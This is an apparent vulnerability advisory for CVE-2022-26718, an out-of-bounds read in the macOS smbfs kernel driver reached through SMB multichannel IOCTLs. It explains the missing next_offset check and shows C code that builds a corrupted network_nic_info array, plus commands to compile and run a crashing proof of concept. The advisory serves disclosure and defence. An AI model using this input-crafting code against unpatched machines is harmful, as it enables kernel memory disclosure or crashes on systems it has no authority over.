CVE: CVE-2022-26718

Tested Versions:

  • macOS 11.x.x <= 11.6.4
  • macOS 12.x.x <= 12.2.1

Product URL(s):

Description of the vulnerability

smbfs stands for Samba file system of macOS, which is used for communication and linking with Samba file server. smbfs allows users to connect a remote shared folder to Finder.

smbfs is a macOS driver containing two components one is netsmb and the other one is smbfs, this driver also has public open source at this link but it is only available for macOS 11.5. netsmb is used to setup authentication, do initialization, send and receive data from SMB file server. smbfs was implemented as a filesystem handler for accessing from local users such as: open, read, write, copy operations in client machines.

The root cause of this vulnerability occurred in function:

int smb2_mc_parse_client_interface_array(
    struct session_network_interface_info* session_table,
    struct smbioc_client_interface* client_info)

This function could be reached via two IOCTL codes from userspace: SMBIOC_NOTIFIER_UPDATE_INTERFACES, SMBIOC_UPDATE_CLIENT_INTERFACES. The two IOCTL codes requires a defined structure as an input following by C code below:

/*
* Multi Channel support
*/
struct smbioc_client_interface {
    SMB_IOC_POINTER(struct network_nic_info*, info_array);
    uint32_t interface_instance_count;
    uint32_t total_buffer_size;
    uint32_t ioc_errno;
};
/*
 * The raw NIC's info coming from the client and the server
 * Contains only one IP address
 * will be used to construct the complete_nic_info_entry
 */
struct network_nic_info {
    uint32_t next_offset;
    uint32_t nic_index;
    uint32_t nic_caps;
    uint64_t nic_link_speed;
    uint32_t nic_type;
    in_port_t port;
    union { // alloc the largest sock addr possible
        struct sockaddr         addr;
        struct sockaddr_in      addr_4;
        struct sockaddr_in6     addr_16;
        struct sockaddr_storage addr_strg; // A place holder to make sure enough memory is allocated
                                           // for the largest possible sockaddr (ie NetBIOS's sockaddr_nb)
    };
};

The implementation of function smb2_mc_parse_client_interface_array is simplifed in the snippets below:

/*
 * Parse the client's network_interface_instance_info array and create a
 * complete_interface_info
 */
int
smb2_mc_parse_client_interface_array(
    struct session_network_interface_info* session_table,
    struct smbioc_client_interface* client_info)
{
// … snipped … 
struct network_nic_info * client_info_entry = (struct network_nic_info *) client_info_array;
	for (uint32_t counter = 0; counter < client_info->interface_instance_count; counter++) {
        in_blacklist = false;

        for (uint32_t i = 0; i < session_table->client_if_blacklist_len; i++)
        {
            if (session_table->client_if_blacklist[i] == client_info_entry->nic_index)
            {
                in_blacklist = true;
                break;
            }
        }

        error = smb2_mc_add_new_interface_info_to_list(&session_table->client_nic_info_list,
                                                       &session_table->client_nic_count,
                                                       client_info_entry, 0, in_blacklist);
        if (error) {
            SMBERROR("Adding new interface info ended with error %d!", error);
            smb2_mc_release_interface_list(&session_table->client_nic_info_list);
            break;
        }

		client_info_entry = (struct network_nic_info *) ((uint8_t*) client_info_entry + client_info_entry->next_offset);
	}
//… snipped … 

The parser code doesn’t check value of client_info_entry->next_offset is size of struct network_nic_info, if an attacker set size of next_offset less than size of struct network_nic_info, this function will take this corrupted client_info_entry and pass directly to function smb2_mc_add_new_interface_info_to_list. After that, this function called function smb2_mc_update_info_with_ip which copy sockaddr struct inside client_info_entry which sa_len (member of sockaddr struct), this sa_len could be up to 255 bytes and can also manipulate by attackers.

static int
smb2_mc_update_info_with_ip(
    struct complete_nic_info_entry* nic_info,
    struct sockaddr *addr,
    bool *changed)
{
// …  
SMB_MALLOC(new_addr->addr, struct sockaddr *, addr->sa_len, M_NSMBDEV, M_WAITOK | M_ZERO);
    if (new_addr->addr == NULL) {
        SMB_FREE(new_addr, M_NSMBDEV);
        SMBERROR("failed to allocate struct sockaddr!");
        return ENOMEM;
    }
    memcpy((void*) new_addr->addr, (void*) addr, addr->sa_len);

    if (addr->sa_family == AF_INET) {
        nic_info->nic_ip_types |= SMB2_MC_IPV4;
    } else {
        nic_info->nic_ip_types |= SMB2_MC_IPV6;
    }
// …

The attacker can create an input buffer with two net_nic_info structs with total size is 0x60 bytes, then set next_offset value is 0x30 bytes, we set the value sa_len of two structs are 0xFF bytes. After that, we pass this struct to function smb2_mc_parse_client_interface_array, depending on kernel memory heap alignment, this could lead to memory corrupted while kernel trying to copy memory outside their allocation region. This code below will create a corrupted network_nic_info input, which could lead to memory out of bound read.

void create_corrupted_info_array(struct smbioc_client_interface *inf, struct network_nic_info *nic_info)
{
	struct network_nic_info *p_nic_info;

	int i;

	p_nic_info = nic_info;
	for(i = 0; i < inf->interface_instance_count; i++){
		p_nic_info->nic_index = i + 0x41414141;
		p_nic_info->next_offset = 0x30;
		p_nic_info->addr.sa_len = 0xFF;
		p_nic_info->addr.sa_data[3] = p_nic_info->addr.sa_data[3] + i;
		p_nic_info->addr.sa_data[0] = 0xFF;
		p_nic_info = (struct network_nic_info *)((void *)p_nic_info + sizeof(struct network_nic_info));
	}
}

Proof Of Concept

Environment Setup

Requires a virtual machine with installed macOS newest version.

On the macOS VM compile and run the poc by following command:

clang -framework CoreFoundation -framework NetFS smbfs_oob_read.c -o smbfs_oob_read -g
./smbfs_oob_read <smb_server_ip>

Attaching a targeted virtual machine into lldb, then running the PoC and the virtual machine crashes following the image below.

Timeline:

  • 2022-03-04 Disclosed to Vendor
  • 2022-05-16 Vendor patched